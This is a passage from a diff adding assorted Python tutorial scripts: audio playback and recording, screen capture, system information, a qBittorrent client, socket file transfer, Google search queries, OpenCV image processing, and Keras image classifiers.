+        elif n > 0:
+            print(df.head(n).to_string())
+        time.sleep(0.7)
+
+
+
+
+from playsound import playsound
+import sys
+
+playsound(sys.argv[1])
+
+
+
+
+import pyaudio
+import wave
+import sys
+
+filename = sys.argv[1]
+
+# set the chunk size of 1024 samples
+chunk = 1024
+
+# open the audio file
+wf = wave.open(filename, "rb")
+
+# initialize PyAudio object
+p = pyaudio.PyAudio()
+
+# open stream object
+stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),
+                channels=wf.getnchannels(),
+                rate=wf.getframerate(),
+                output=True)
+
+# read data in chunks
+data = wf.readframes(chunk)
+
+# writing to the stream (playing audio)
+while data:
+    stream.write(data)
+    data = wf.readframes(chunk)
+
+# close stream
+stream.close()
+p.terminate()
+
+
+
+
+from pydub import AudioSegment
+from pydub.playback import play
+import sys
+
+# read MP3 file
+song = AudioSegment.from_mp3(sys.argv[1])
+# song = AudioSegment.from_wav("audio_file.wav")
+# you can also read from other formats such as MP4
+# song = AudioSegment.from_file("audio_file.mp4", "mp4")
+play(song)
+
+
+
+
+import pyaudio
+import wave
+import argparse
+
+parser = argparse.ArgumentParser(description="an Audio Recorder using Python")
+parser.add_argument("-o", "--output", help="Output file (with .wav)", default="recorded.wav")
+parser.add_argument("-d", "--duration", help="Duration to record in seconds (can be float)", default=5)
+
+args = parser.parse_args()
+# the file name output you want to record into
+filename = args.output
+# number of seconds to record
+record_seconds = float(args.duration)
+
+# set the chunk size of 1024 samples
+chunk = 1024
+# sample format
+FORMAT = pyaudio.paInt16
+# mono, change to 2 if you want stereo
+channels = 1
+# 44100 samples per second
+sample_rate = 44100
+
+# initialize PyAudio object
+p = pyaudio.PyAudio()
+
+# open stream object as input & output
+stream = p.open(format=FORMAT,
+                channels=channels,
+                rate=sample_rate,
+                input=True,
+                output=True,
+                frames_per_buffer=chunk)
+
+frames = []
+print("Recording...")
+for i in range(int(44100 / chunk * record_seconds)):
+    data = stream.read(chunk)
+    # if you want to hear your voice while recording
+    # stream.write(data)
+    frames.append(data)
+print("Finished recording.")
+# stop and close stream
+stream.stop_stream()
+stream.close()
+# terminate pyaudio object
+p.terminate()
+
+# save audio file
+# open the file in 'write bytes' mode
+wf = wave.open(filename, "wb")
+# set the channels
+wf.setnchannels(channels)
+# set the sample format
+wf.setsampwidth(p.get_sample_size(FORMAT))
+# set the sample rate
+wf.setframerate(sample_rate)
+# write the frames as bytes
+wf.writeframes(b"".join(frames))
+# close the file
+wf.close()
+
+
+
+
+import cv2
+import numpy as np
+import pyautogui
+
+# display screen resolution, get it from your OS settings
+SCREEN_SIZE = (1920, 1080)
+# define the codec
+fourcc = cv2.VideoWriter_fourcc(*"MJPG")
+# create the video write object
+out = cv2.VideoWriter("output.avi", fourcc, 10.0, (SCREEN_SIZE))
+
+# while True:
+for i in range(100):
+    # make a screenshot
+    img = pyautogui.screenshot()
+    # convert these pixels to a proper numpy array to work with OpenCV
+    frame = np.array(img)
+    # convert colors from BGR to RGB
+    frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
+    # write the frame
+    out.write(frame)
+    # show the frame
+    # cv2.imshow("screenshot", frame)
+    # if the user clicks q, it exits
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+# make sure everything is closed when exited
+cv2.destroyAllWindows()
+out.release()
+
+
+
+
+import psutil
+import platform
+from datetime import datetime
+
+def get_size(bytes, suffix="B"):
+    """
+    Scale bytes to its proper format
+    e.g:
+        1253656 => '1.20MB'
+        1253656678 => '1.17GB'
+    """
+    factor = 1024
+    for unit in ["", "K", "M", "G", "T", "P"]:
+        if bytes < factor:
+            return f"{bytes:.2f}{unit}{suffix}"
+        bytes /= factor
+
+
+print("="*40, "System Information", "="*40)
+uname = platform.uname()
+print(f"System: {uname.system}")
+print(f"Node Name: {uname.node}")
+print(f"Release: {uname.release}")
+print(f"Version: {uname.version}")
+print(f"Machine: {uname.machine}")
+print(f"Processor: {uname.processor}")
+
+# Boot Time
+print("="*40, "Boot Time", "="*40)
+boot_time_timestamp = psutil.boot_time()
+bt = datetime.fromtimestamp(boot_time_timestamp)
+print(f"Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}")
+
+# let's print CPU information
+print("="*40, "CPU Info", "="*40)
+# number of cores
+print("Physical cores:", psutil.cpu_count(logical=False))
+print("Total cores:", psutil.cpu_count(logical=True))
+# CPU frequencies
+cpufreq = psutil.cpu_freq()
+print(f"Max Frequency: {cpufreq.max:.2f}Mhz")
+print(f"Min Frequency: {cpufreq.min:.2f}Mhz")
+print(f"Current Frequency: {cpufreq.current:.2f}Mhz")
+# CPU usage
+print("CPU Usage Per Core:")
+for i, percentage in enumerate(psutil.cpu_percent(percpu=True, interval=1)):
+    print(f"Core {i}: {percentage}%")
+print(f"Total CPU Usage: {psutil.cpu_percent()}%")
+
+# Memory Information
+print("="*40, "Memory Information", "="*40)
+# get the memory details
+svmem = psutil.virtual_memory()
+print(f"Total: {get_size(svmem.total)}")
+print(f"Available: {get_size(svmem.available)}")
+print(f"Used: {get_size(svmem.used)}")
+print(f"Percentage: {svmem.percent}%")
+print("="*20, "SWAP", "="*20)
+# get the swap memory details (if exists)
+swap = psutil.swap_memory()
+print(f"Total: {get_size(swap.total)}")
+print(f"Free: {get_size(swap.free)}")
+print(f"Used: {get_size(swap.used)}")
+print(f"Percentage: {swap.percent}%")
+
+# Disk Information
+print("="*40, "Disk Information", "="*40)
+print("Partitions and Usage:")
+# get all disk partitions
+partitions = psutil.disk_partitions()
+for partition in partitions:
+    print(f"=== Device: {partition.device} ===")
+    print(f"  Mountpoint: {partition.mountpoint}")
+    print(f"  File system type: {partition.fstype}")
+    try:
+        partition_usage = psutil.disk_usage(partition.mountpoint)
+    except PermissionError:
+        # this can be catched due to the disk that
+        # isn't ready
+        continue
+    print(f"  Total Size: {get_size(partition_usage.total)}")
+    print(f"  Used: {get_size(partition_usage.used)}")
+    print(f"  Free: {get_size(partition_usage.free)}")
+    print(f"  Percentage: {partition_usage.percent}%")
+# get IO statistics since boot
+disk_io = psutil.disk_io_counters()
+print(f"Total read: {get_size(disk_io.read_bytes)}")
+print(f"Total write: {get_size(disk_io.write_bytes)}")
+
+# Network information
+print("="*40, "Network Information", "="*40)
+# get all network interfaces (virtual and physical)
+if_addrs = psutil.net_if_addrs()
+for interface_name, interface_addresses in if_addrs.items():
+    for address in interface_addresses:
+        print(f"=== Interface: {interface_name} ===")
+        if str(address.family) == 'AddressFamily.AF_INET':
+            print(f"  IP Address: {address.address}")
+            print(f"  Netmask: {address.netmask}")
+            print(f"  Broadcast IP: {address.broadcast}")
+        elif str(address.family) == 'AddressFamily.AF_PACKET':
+            print(f"  MAC Address: {address.address}")
+            print(f"  Netmask: {address.netmask}")
+            print(f"  Broadcast MAC: {address.broadcast}")
+# get IO statistics since boot
+net_io = psutil.net_io_counters()
+print(f"Total Bytes Sent: {get_size(net_io.bytes_sent)}")
+print(f"Total Bytes Received: {get_size(net_io.bytes_recv)}")
+
+
+
+
+from qbittorrent import Client
+
+# connect to the qbittorent Web UI
+qb = Client("http://127.0.0.1:8080/")
+
+# put the credentials (as you configured)
+qb.login("admin", "adminadmin")
+
+# open the torrent file of the file you wanna download
+torrent_file = open("debian-10.2.0-amd64-netinst.iso.torrent", "rb")
+# start downloading
+qb.download_from_file(torrent_file)
+# this magnet is not valid, replace with yours
+# magnet_link = "magnet:?xt=urn:btih:e334ab9ddd91c10938a7....."
+# qb.download_from_link(magnet_link)
+# you can specify the save path for downloads
+# qb.download_from_file(torrent_file, savepath="/the/path/you/want/to/save")
+
+# pause all downloads
+qb.pause_all()
+
+# resume them
+qb.resume_all()
+
+
+def get_size_format(b, factor=1024, suffix="B"):
+    """
+    Scale bytes to its proper byte format
+    e.g:
+        1253656 => '1.20MB'
+        1253656678 => '1.17GB'
+    """
+    for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
+        if b < factor:
+            return f"{b:.2f}{unit}{suffix}"
+        b /= factor
+    return f"{b:.2f}Y{suffix}"
+
+# return list of torrents
+torrents = qb.torrents()
+
+for torrent in torrents:
+    print("Torrent name:", torrent["name"])
+    print("hash:", torrent["hash"])
+    print("Seeds:", torrent["num_seeds"])
+    print("File size:", get_size_format(torrent["total_size"]))
+    print("Download speed:", get_size_format(torrent["dlspeed"]) + "/s")
+
+# Torrent name: debian-10.2.0-amd64-netinst.iso
+# hash: 86d4c80024a469be4c50bc5a102cf71780310074
+# Seeds: 70
+# File size: 335.00MB
+# Download speed: 606.15KB/s
+
+
+
+
+"""
+Client that sends the file (uploads)
+"""
+import socket
+import tqdm
+import os
+import argparse
+
+SEPARATOR = ""
+
+BUFFER_SIZE = 1024 * 4
+
+
+def send_file(filename, host, port):
+    # get the file size
+    filesize = os.path.getsize(filename)
+    # create the client socket
+    s = socket.socket()
+    print(f"[+] Connecting to {host}:{port}")
+    s.connect((host, port))
+    print("[+] Connected.")
+
+    # send the filename and filesize
+    s.send(f"{filename}{SEPARATOR}{filesize}".encode())
+
+    # start sending the file
+    progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+    with open(filename, "rb") as f:
+        for _ in progress:
+            # read the bytes from the file
+            bytes_read = f.read(BUFFER_SIZE)
+            if not bytes_read:
+                # file transmitting is done
+                break
+            # we use sendall to assure transimission in 
+            # busy networks
+            s.sendall(bytes_read)
+            # update the progress bar
+            progress.update(len(bytes_read))
+
+    # close the socket
+    s.close()
+
+
+if __name__ == "__main__":
+    import argparse
+    parser = argparse.ArgumentParser(description="Simple File Sender")
+    parser.add_argument("file", help="File name to send")
+    parser.add_argument("host", help="The host/IP address of the receiver")
+    parser.add_argument("-p", "--port", help="Port to use, default is 5001", default=5001)
+    args = parser.parse_args()
+    filename = args.file
+    host = args.host
+    port = args.port
+    send_file(filename, host, port)
+
+
+
+
+"""
+Server receiver of the file
+"""
+import socket
+import tqdm
+import os
+
+# device's IP address
+SERVER_HOST = "0.0.0.0"
+SERVER_PORT = 5001
+
+# receive 4096 bytes each time
+BUFFER_SIZE = 4096
+
+SEPARATOR = ""
+
+# create the server socket
+# TCP socket
+s = socket.socket()
+# bind the socket to our local address
+s.bind((SERVER_HOST, SERVER_PORT))
+# enabling our server to accept connections
+# 5 here is the number of unaccepted connections that
+# the system will allow before refusing new connections
+s.listen(5)
+print(f"[*] Listening as {SERVER_HOST}:{SERVER_PORT}")
+# accept connection if there is any
+client_socket, address = s.accept() 
+# if below code is executed, that means the sender is connected
+print(f"[+] {address} is connected.")
+
+# receive the file infos
+# receive using client socket, not server socket
+received = client_socket.recv(BUFFER_SIZE).decode()
+filename, filesize = received.split(SEPARATOR)
+# remove absolute path if there is
+filename = os.path.basename(filename)
+# convert to integer
+filesize = int(filesize)
+# start receiving the file from the socket
+# and writing to the file stream
+progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
+with open(filename, "wb") as f:
+    for _ in progress:
+        # read 1024 bytes from the socket (receive)
+        bytes_read = client_socket.recv(BUFFER_SIZE)
+        if not bytes_read:    
+            # nothing is received
+            # file transmitting is done
+            break
+        # write to the file the bytes we just received
+        f.write(bytes_read)
+        # update the progress bar
+        progress.update(len(bytes_read))
+
+# close the client socket
+client_socket.close()
+# close the server socket
+s.close()
+
+
+
+
+import requests
+import sys
+
+# get the API KEY here: https://developers.google.com/custom-search/v1/overview
+API_KEY = ""
+# get your Search Engine ID on your CSE control panel
+SEARCH_ENGINE_ID = ""
+# the search query you want, from the command line
+query = sys.argv[1]
+# constructing the URL
+# doc: https://developers.google.com/custom-search/v1/using_rest
+url = f"https://www.googleapis.com/customsearch/v1?key={API_KEY}&cx={SEARCH_ENGINE_ID}&q={query}"
+
+# make the API request
+data = requests.get(url).json()
+# get the result items
+search_items = data.get("items")
+# iterate over 10 results found
+for i, search_item in enumerate(search_items, start=1):
+    # get the page title
+    title = search_item.get("title")
+    # page snippet
+    snippet = search_item.get("snippet")
+    # alternatively, you can get the HTML snippet (bolded keywords)
+    html_snippet = search_item.get("htmlSnippet")
+    # extract the page url
+    link = search_item.get("link")
+    # print the results
+    print("="*10, f"Result #{i}", "="*10)
+    print("Title:", title)
+    print("Description:", snippet)
+    print("URL:", link, "\n")
+
+
+
+
+import cv2
+import matplotlib.pyplot as plt
+import sys
+
+# read the image
+image = cv2.imread(sys.argv[1])
+
+# convert to RGB
+image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+# convert to grayscale
+gray = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY)
+
+# create a binary thresholded image
+_, binary = cv2.threshold(gray, int(sys.argv[2]), 255, cv2.THRESH_BINARY_INV)
+# show it
+plt.imshow(binary, cmap="gray")
+plt.show()
+
+# find the contours from the thresholded image
+contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+
+# draw all contours
+image = cv2.drawContours(image, contours, -1, (0, 255, 0), 2)
+
+# show the image with the drawn contours
+plt.imshow(image)
+plt.show()
+
+
+
+
+import cv2
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, frame = cap.read()
+
+    # convert to grayscale
+    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
+
+    # create a binary thresholded image
+    _, binary = cv2.threshold(gray, 255 // 2, 255, cv2.THRESH_BINARY_INV)
+
+    # find the contours from the thresholded image
+    contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+
+    # draw all contours
+    image = cv2.drawContours(frame, contours, -1, (0, 255, 0), 2)
+
+    # show the images
+    cv2.imshow("gray", gray)
+    cv2.imshow("image", image)
+    cv2.imshow("binary", binary)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+import sys
+
+# read the image
+image = cv2.imread(sys.argv[1])
+
+# convert it to grayscale
+gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# show the grayscale image, if you want to show, uncomment 2 below lines
+# plt.imshow(gray, cmap="gray")
+# plt.show()
+
+# perform the canny edge detector to detect image edges
+edges = cv2.Canny(gray, threshold1=30, threshold2=100)
+
+# show the detected edges
+plt.imshow(edges, cmap="gray")
+plt.show()
+
+
+
+
+import numpy as np
+import cv2
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, frame = cap.read()
+    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
+    edges = cv2.Canny(gray, 30, 100)
+    cv2.imshow("edges", edges)
+    cv2.imshow("gray", gray)
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+
+
+# loading the test image
+image = cv2.imread("kids.jpg")
+
+# converting to grayscale
+image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+# detect all the faces in the image
+faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+# print the number of faces detected
+print(f"{len(faces)} faces detected in the image.")
+
+# for every face, draw a blue rectangle
+for x, y, width, height in faces:
+    cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+# save the image with rectangles
+cv2.imwrite("kids_detected.jpg", image)
+
+
+
+
+import cv2
+
+# create a new cam object
+cap = cv2.VideoCapture(0)
+
+# initialize the face recognizer (default face haar cascade)
+face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml")
+
+while True:
+    # read the image from the cam
+    _, image = cap.read()
+    # converting to grayscale
+    image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+
+    # detect all the faces in the image
+    faces = face_cascade.detectMultiScale(image_gray, 1.3, 5)
+
+    # for every face, draw a blue rectangle
+    for x, y, width, height in faces:
+        cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2)
+
+    cv2.imshow("image", image)
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+from train import load_data, batch_size
+from tensorflow.keras.models import load_model
+import matplotlib.pyplot as plt
+import numpy as np
+
+# CIFAR-10 classes
+categories = {
+    0: "airplane",
+    1: "automobile",
+    2: "bird",
+    3: "cat",
+    4: "deer",
+    5: "dog",
+    6: "frog",
+    7: "horse",
+    8: "ship",
+    9: "truck"
+}
+
+# load the testing set
+# (_, _), (X_test, y_test) = load_data()
+ds_train, ds_test, info = load_data()
+# load the model with final model weights
+model = load_model("results/cifar10-model-v1.h5")
+# evaluation
+loss, accuracy = model.evaluate(ds_test, steps=info.splits["test"].num_examples // batch_size)
+print("Test accuracy:", accuracy*100, "%")
+
+# get prediction for this image
+data_sample = next(iter(ds_test))
+sample_image = data_sample[0].numpy()[0]
+sample_label = categories[data_sample[1].numpy()[0]]
+prediction = np.argmax(model.predict(sample_image.reshape(-1, *sample_image.shape))[0])
+print("Predicted label:", categories[prediction])
+print("True label:", sample_label)
+
+# show the first image
+plt.axis('off')
+plt.imshow(sample_image)
+plt.show()
+
+
+
+
+from tensorflow.keras.models import Sequential
+from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten
+from tensorflow.keras.layers import Conv2D, MaxPooling2D
+from tensorflow.keras.callbacks import TensorBoard
+import tensorflow as tf
+import tensorflow_datasets as tfds
+import os
+
+# hyper-parameters
+batch_size = 64
+# 10 categories of images (CIFAR-10)
+num_classes = 10
+# number of training epochs
+epochs = 30
+
+def create_model(input_shape):
+    """
+    Constructs the model:
+        - 32 Convolutional (3x3)
+        - Relu
+        - 32 Convolutional (3x3)
+        - Relu
+        - Max pooling (2x2)
+        - Dropout
+
+        - 64 Convolutional (3x3)
+        - Relu
+        - 64 Convolutional (3x3)
+        - Relu
+        - Max pooling (2x2)
+        - Dropout
+
+        - 128 Convolutional (3x3)
+        - Relu
+        - 128 Convolutional (3x3)
+        - Relu
+        - Max pooling (2x2)
+        - Dropout
+        
+        - Flatten (To make a 1D vector out of convolutional layers)
+        - 1024 Fully connected units
+        - Relu
+        - Dropout
+        - 10 Fully connected units (each corresponds to a label category (cat, dog, etc.))
+    """
+
+    # building the model
+    model = Sequential()
+
+    model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same", input_shape=input_shape))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=32, kernel_size=(3, 3), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=64, kernel_size=(3, 3), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    model.add(Dropout(0.25))
+
+    model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same"))
+    model.add(Activation("relu"))
+    model.add(Conv2D(filters=128, kernel_size=(3, 3), padding="same"))
+    model.add(Activation("relu"))
+    model.add(MaxPooling2D(pool_size=(2, 2)))
+    model.add(Dropout(0.25))
+
+    # flattening the convolutions
+    model.add(Flatten())
+    # fully-connected layers
+    model.add(Dense(1024))
+    model.add(Activation("relu"))
+    model.add(Dropout(0.5))
+    model.add(Dense(num_classes, activation="softmax"))
+
+    # print the summary of the model architecture
+    model.summary()
+
+    # training the model using adam optimizer
+    model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+    return model
+
+
+def load_data():
+    """
+    This function loads CIFAR-10 dataset, and preprocess it
+    """
+    # Loading data using Keras 
+    # loading the CIFAR-10 dataset, splitted between train and test sets
+    # (X_train, y_train), (X_test, y_test) = cifar10.load_data()
+    # print("Training samples:", X_train.shape[0])
+    # print("Testing samples:", X_test.shape[0])
+    # print(f"Images shape: {X_train.shape[1:]}")
+
+    # # converting image labels to binary class matrices
+    # y_train = to_categorical(y_train, num_classes)
+    # y_test = to_categorical(y_test, num_classes)
+
+    # # convert to floats instead of int, so we can divide by 255
+    # X_train = X_train.astype("float32")
+    # X_test = X_test.astype("float32")
+    # X_train /= 255
+    # X_test /= 255
+    # return (X_train, y_train), (X_test, y_test)
+    # Loading data using Tensorflow Datasets
+    def preprocess_image(image, label):
+        # convert [0, 255] range integers to [0, 1] range floats
+        image = tf.image.convert_image_dtype(image, tf.float32)
+        return image, label
+    # loading the CIFAR-10 dataset, splitted between train and test sets
+    ds_train, info = tfds.load("cifar10", with_info=True, split="train", as_supervised=True)
+    ds_test = tfds.load("cifar10", split="test", as_supervised=True)
+    # repeat dataset forever, shuffle, preprocess, split by batch
+    ds_train = ds_train.repeat().shuffle(1024).map(preprocess_image).batch(batch_size)
+    ds_test = ds_test.repeat().shuffle(1024).map(preprocess_image).batch(batch_size)
+    return ds_train, ds_test, info
+
+
+
+if __name__ == "__main__":
+
+    # load the data
+    ds_train, ds_test, info = load_data()
+    # (X_train, y_train), (X_test, y_test) = load_data()
+
+    # constructs the model
+    # model = create_model(input_shape=X_train.shape[1:])
+    model = create_model(input_shape=info.features["image"].shape)
+
+    # some nice callbacks
+    logdir = os.path.join("logs", "cifar10-model-v1")
+    tensorboard = TensorBoard(log_dir=logdir)
+
+    # make sure results folder exist
+    if not os.path.isdir("results"):
+        os.mkdir("results")
+
+    # train
+    # model.fit(X_train, y_train,
+    #         batch_size=batch_size,
+    #         epochs=epochs,
+    #         validation_data=(X_test, y_test),
+    #         callbacks=[tensorboard, checkpoint],
+    #         shuffle=True)
+    model.fit(ds_train, epochs=epochs, validation_data=ds_test, verbose=1,
+              steps_per_epoch=info.splits["train"].num_examples // batch_size,
+              validation_steps=info.splits["test"].num_examples // batch_size,
+              callbacks=[tensorboard])
+
+    # save the model to disk
+    model.save("results/cifar10-model-v1.h5")
+
+
+
+
+from train import load_data, create_model, IMAGE_SHAPE, batch_size, np
+import matplotlib.pyplot as plt
+# load the data generators
+train_generator, validation_generator, class_names = load_data()
+# constructs the model
+model = create_model(input_shape=IMAGE_SHAPE)
+# load the optimal weights
+model.load_weights("results/MobileNetV2_finetune_last5_less_lr-loss-0.45-acc-0.86.h5")
+
+validation_steps_per_epoch = np.ceil(validation_generator.samples / batch_size)
+# print the validation loss & accuracy
+evaluation = model.evaluate_generator(validation_generator, steps=validation_steps_per_epoch, verbose=1)
+print("Val loss:", evaluation[0])
+print("Val Accuracy:", evaluation[1])
+
+# get a random batch of images
+image_batch, label_batch = next(iter(validation_generator))
+# turn the original labels into human-readable text
+label_batch = [class_names[np.argmax(label_batch[i])] for i in range(batch_size)]
+# predict the images on the model
+predicted_class_names = model.predict(image_batch)
+predicted_ids = [np.argmax(predicted_class_names[i]) for i in range(batch_size)]
+# turn the predicted vectors to human readable labels
+predicted_class_names = np.array([class_names[id] for id in predicted_ids])
+
+# some nice plotting
+plt.figure(figsize=(10,9))
+for n in range(30):
+    plt.subplot(6,5,n+1)
+    plt.subplots_adjust(hspace = 0.3)
+    plt.imshow(image_batch[n])
+    if predicted_class_names[n] == label_batch[n]:
+        color = "blue"
+        title = predicted_class_names[n].title()
+    else:
+        color = "red"
+        title = f"{predicted_class_names[n].title()}, correct:{label_batch[n]}"
+    plt.title(title, color=color)
+    plt.axis('off')
+_ = plt.suptitle("Model predictions (blue: correct, red: incorrect)")
+plt.show()
+
+
+
+
+import tensorflow as tf
+from keras.models import Model
+from keras.applications import MobileNetV2, ResNet50, InceptionV3 # try to use them and see which is better
+from keras.layers import Dense
+from keras.callbacks import ModelCheckpoint, TensorBoard
+from keras.utils import get_file
+from keras.preprocessing.image import ImageDataGenerator
+import os
+import pathlib
+import numpy as np
+
+batch_size = 32
+num_classes = 5
+epochs = 10
+
+IMAGE_SHAPE = (224, 224, 3)
+
+
+def load_data():
+    """This function downloads, extracts, loads, normalizes and one-hot encodes Flower Photos dataset"""
+    # download the dataset and extract it
+    data_dir = get_file(origin='https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz',
+                                         fname='flower_photos', untar=True)
+    data_dir = pathlib.Path(data_dir)
+
+    # count how many images are there
+    image_count = len(list(data_dir.glob('*/*.jpg')))
+    print("Number of images:", image_count)
+
+    # get all classes for this dataset (types of flowers) excluding LICENSE file
+    CLASS_NAMES = np.array([item.name for item in data_dir.glob('*') if item.name != "LICENSE.txt"])
+
+    # roses = list(data_dir.glob('roses/*'))
+    # 20% validation set 80% training set
+    image_generator = ImageDataGenerator(rescale=1/255, validation_split=0.2)
+
+    # make the training dataset generator
+    train_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size,
+                                                        classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]),
+                                                        shuffle=True, subset="training")
+    # make the validation dataset generator
+    test_data_gen = image_generator.flow_from_directory(directory=str(data_dir), batch_size=batch_size, 
+                                                        classes=list(CLASS_NAMES), target_size=(IMAGE_SHAPE[0], IMAGE_SHAPE[1]),
+                                                        shuffle=True, subset="validation")
+
+    return train_data_gen, test_data_gen, CLASS_NAMES
+
+
+def create_model(input_shape):
+    # load MobileNetV2
+    model = MobileNetV2(input_shape=input_shape)
+    # remove the last fully connected layer
+    model.layers.pop()
+    # freeze all the weights of the model except the last 4 layers
+    for layer in model.layers[:-4]:
+        layer.trainable = False
+    # construct our own fully connected layer for classification
+    output = Dense(num_classes, activation="softmax")
+    # connect that dense layer to the model
+    output = output(model.layers[-1].output)
+
+    model = Model(inputs=model.inputs, outputs=output)
+
+    # print the summary of the model architecture
+    model.summary()
+
+    # training the model using rmsprop optimizer
+    model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+    return model
+
+
+if __name__ == "__main__":
+
+    # load the data generators
+    train_generator, validation_generator, class_names = load_data()
+
+    # constructs the model
+    model = create_model(input_shape=IMAGE_SHAPE)
+    # model name
+    model_name = "MobileNetV2_finetune_last5"
+
+    # some nice callbacks
+    tensorboard = TensorBoard(log_dir=f"logs/{model_name}")
+    checkpoint = ModelCheckpoint(f"results/{model_name}" + "-loss-{val_loss:.2f}-acc-{val_acc:.2f}.h5",
+                                save_best_only=True,
+                                verbose=1)
+
+    # make sure results folder exist
+    if not os.path.isdir("results"):
+        os.mkdir("results")
+
+    # count number of steps per epoch
+    training_steps_per_epoch = np.ceil(train_generator.samples / batch_size)
+    validation_steps_per_epoch = np.ceil(validation_generator.samples / batch_size)
+
+    # train using the generators
+    model.fit_generator(train_generator, steps_per_epoch=training_steps_per_epoch,
+                        validation_data=validation_generator, validation_steps=validation_steps_per_epoch,
+                        epochs=epochs, verbose=1, callbacks=[tensorboard, checkpoint])
+
+
+
+
+import cv2
+import numpy as np
+import matplotlib.pyplot as plt
+import sys
+
+# read the image
+image = cv2.imread(sys.argv[1])
+
+# convert to RGB
+image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
+
+# reshape the image to a 2D array of pixels and 3 color values (RGB)
+pixel_values = image.reshape((-1, 3))
+# convert to float
+pixel_values = np.float32(pixel_values)
+
+# define stopping criteria
+criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2)
+
+# number of clusters (K)
+k = 3
+compactness, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)
+
+# convert back to 8 bit values
+centers = np.uint8(centers)
+
+# flatten the labels array
+labels = labels.flatten()
+
+# convert all pixels to the color of the centroids
+segmented_image = centers[labels]
+
+# reshape back to the original image dimension
+segmented_image = segmented_image.reshape(image.shape)
+
+# show the image
+plt.imshow(segmented_image)
+plt.show()
+
+# disable only the cluster number 2 (turn the pixel into black)
+masked_image = np.copy(image)
+# convert to the shape of a vector of pixel values
+masked_image = masked_image.reshape((-1, 3))
+# color (i.e cluster) to disable
+cluster = 2
+masked_image[labels == cluster] = [0, 0, 0]
+
+# convert back to original shape
+masked_image = masked_image.reshape(image.shape)
+# show the image
+plt.imshow(masked_image)
+plt.show()
+
+
+
+
+import cv2
+import numpy as np
+
+cap = cv2.VideoCapture(0)
+k = 5
+
+# define stopping criteria
+criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2)
+
+while True:
+    # read the image
+    _, image = cap.read()
+
+    # reshape the image to a 2D array of pixels and 3 color values (RGB)
+    pixel_values = image.reshape((-1, 3))
+    # convert to float
+    pixel_values = np.float32(pixel_values)
+
+    # number of clusters (K)
+    _, labels, (centers) = cv2.kmeans(pixel_values, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)
+
+    # convert back to 8 bit values
+    centers = np.uint8(centers)
+
+    # convert all pixels to the color of the centroids
+    segmented_image = centers[labels.flatten()]
+
+    # reshape back to the original image dimension
+    segmented_image = segmented_image.reshape(image.shape)
+
+    # reshape labels too
+    labels = labels.reshape(image.shape[0], image.shape[1])
+
+    cv2.imshow("segmented_image", segmented_image)
+    # visualize each segment
+
+    if cv2.waitKey(1) == ord("q"):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+# to use CPU uncomment below code
+# import os
+# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+# os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+# import tensorflow as tf
+
+# config = tf.ConfigProto(intra_op_parallelism_threads=5,
+#                         inter_op_parallelism_threads=5, 
+#                         allow_soft_placement=True,
+#                         device_count = {'CPU' : 1,
+#                                         'GPU' : 0}
+#                        )
+
+
+from keras.preprocessing.text import Tokenizer
